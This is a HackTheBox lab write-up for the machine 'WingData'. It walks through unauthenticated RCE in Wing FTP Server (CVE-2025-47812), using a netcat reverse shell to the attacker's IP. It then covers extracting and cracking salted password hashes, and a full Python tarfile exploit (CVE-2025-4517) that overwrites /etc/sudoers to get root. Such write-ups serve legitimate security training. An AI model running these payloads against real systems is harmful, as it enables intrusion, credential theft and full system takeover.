HackTheBox - WingData

Updated 29-03-2026

A Linux machine where an unauthenticated FTP server vulnerability opens the initial foothold, and an archive extraction flaw in a Python script allows writing files outside intended boundaries for privilege escalation.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.7.213 | grep '^[0-9]' | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
$ nmap -p$ports -sC -sV 10.129.7.213
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-15 04:29 EST
Nmap scan report for 10.129.7.213
Host is up (0.18s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds

Findings:

  • 22/tcp: OpenSSH 9.2p1 (Debian)
  • 80/tcp: Apache 2.4.66 redirecting to http://wingdata.htb/

Foothold

Hostname setup

The web server on port 80 redirects to wingdata.htb, so add the vhost to /etc/hosts:

1
$ echo '10.129.7.213 wingdata.htb' | sudo tee -a /etc/hosts 

The site links to a client portal that redirects to ftp.wingdata.htb, so add that as well:

1
$ echo '10.129.7.213 ftp.wingdata.htb' | sudo tee -a /etc/hosts 

Exploit Wing FTP (CVE-2025-47812)

The client portal is using Wing FTP Server v7.4.3.

Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812, which allows unauthenticated RCE.

Using this PoC, exploit the vulnerability.

Start a listener:

1
$ nc -lnvp 4444

Run the exploit with the payload:

1
$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc -c bash 10.10.16.103 4444" 

Receive the shell:

1
2
3
4
5
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.103] from (UNKNOWN) [10.129.7.244] 55534
whoami
wingftp

Upgrade to a better shell:

1
2
python3 -c 'import pty; pty.spawn("/bin/bash")'
wingftp@wingdata:/opt/wftpserver$

Credentials from Wing FTP config

While traversing the filesystem, the users directory contains xml files with user credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls -lah
ls -lah
total 28K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 15 05:36 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb 9 08:19 ..
-rwxr-x--- 1 wingftp wingftp 2.8K Feb 15 05:36 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2.8K Nov 2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov 2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov 2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov 2 12:28 wacky.xml

wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat john.xml
cat john.xml

<-SNIP->
<Password>c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10</Password>
<-SNIP->

settings.xml contains the salt string used for password salting:

1
2
3
4
5
6
wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml
cat settings.xml
<-SNIP->
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
<-SNIP->

Extract all user hashes:

1
2
3
4
5
6
7
wingftp@wingdata:/opt/wftpserver/Data/1/users$ grep -RhoP '(?<=<Password>)[0-9a-fA-F]{64}(?=</Password>)' *.xml | sort -u
<rd>)[0-9a-fA-F]{64}(?=</Password>)' *.xml | sort -u
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca

Append them to a file and then append the salt string:

1
2
3
4
5
6
7
8
9
$ cat > hashes.txt <<'EOF'
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca
EOF

$ awk '{print $1":WingFTP"}' hashes.txt > hashes_wingftp.txt

Crack with hashcat. Use mode 1410 to crack SHA256 hashes with salt, using the format hash:salt:

1
2
3
4
5
6
$ hashcat -m 1410 -a 0 hashes_wingftp.txt /usr/share/wordlists/rockyou.txt -O

<- SNIP ->
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

<- SNIP ->

One password was cracked, belonging to user wacky.

Use wacky:!#7Blushing^*Bride5 to connect via SSH and get the flag:

1
2
3
$ ssh wacky@wingdata.htb

wacky@wingdata:~$

Privilege Escalation

Sudo permissions

Check sudo permissions. The user can run a Python script as root:

1
2
3
4
5
6
7
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky@wingdata:~$

Target script and vulnerable runtime

Inspecting restore_backup_clients.py shows it is a backup-restore utility using Tarball.

The system is also using Python 3.12.3:

1
2
$ python3 -V
Python 3.12.3

Python 3.12.3 is vulnerable to CVE-2025-4517, a Tarfile realpath overflow vulnerability.

The vulnerability affects Tarfile.extractall() and Tarfile.extract() methods. It allows writing outside the extraction directory during extraction with filter="data" or filter="tar".

restore_backup_clients.py uses the extractall() method with filter="data", meaning a malicious tar can write to arbitrary paths or create new files as root:

1
2
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")

Malicious tar creation (PoC)

We’ll modify this PoC to create a malicious tar that adds wacky to the sudoers file with all permissions.

This script creates backup_9999.tar directly in /opt/backup_clients/backups:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/opt/backup_clients/backups/backup_9999.tar", mode="x") as tar:
# populate the symlinks and dirs that expand in os.path.realpath()
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# create the final symlink that exceeds PATH_MAX and simply points to the
# top dir. this allows *any* path to be appended.
# this link will never be expanded by os.path.realpath(), nor anything after it.
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = ("../" * len(steps))
tar.addfile(l)
# make a symlink outside to keep the tar command happy
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../etc"
tar.addfile(e)
# use the symlinks above, that are not checked, to create a hardlink
# to a file outside of the destination path
f = tarfile.TarInfo("flaglink")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
# now that we have the hardlink we can overwrite the file
content = b"wacky ALL=(ALL) NOPASSWD:ALL\n"
c = tarfile.TarInfo("flaglink")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))

Create a Python file and paste the script:

1
wacky@wingdata:~$ nano poc.py

Run the script to generate the backup tar:

1
wacky@wingdata:~$ python3 poc.py

Restore and escalate to root

Run the restore script to extract the malicious tar, then confirm full sudo access and spawn a root shell:

1
2
3
4
5
6
7
8
9
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_poc
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_poc
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_poc
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
(ALL) NOPASSWD: ALL
wacky@wingdata:~$ sudo /bin/bash
root@wingdata:/home/wacky#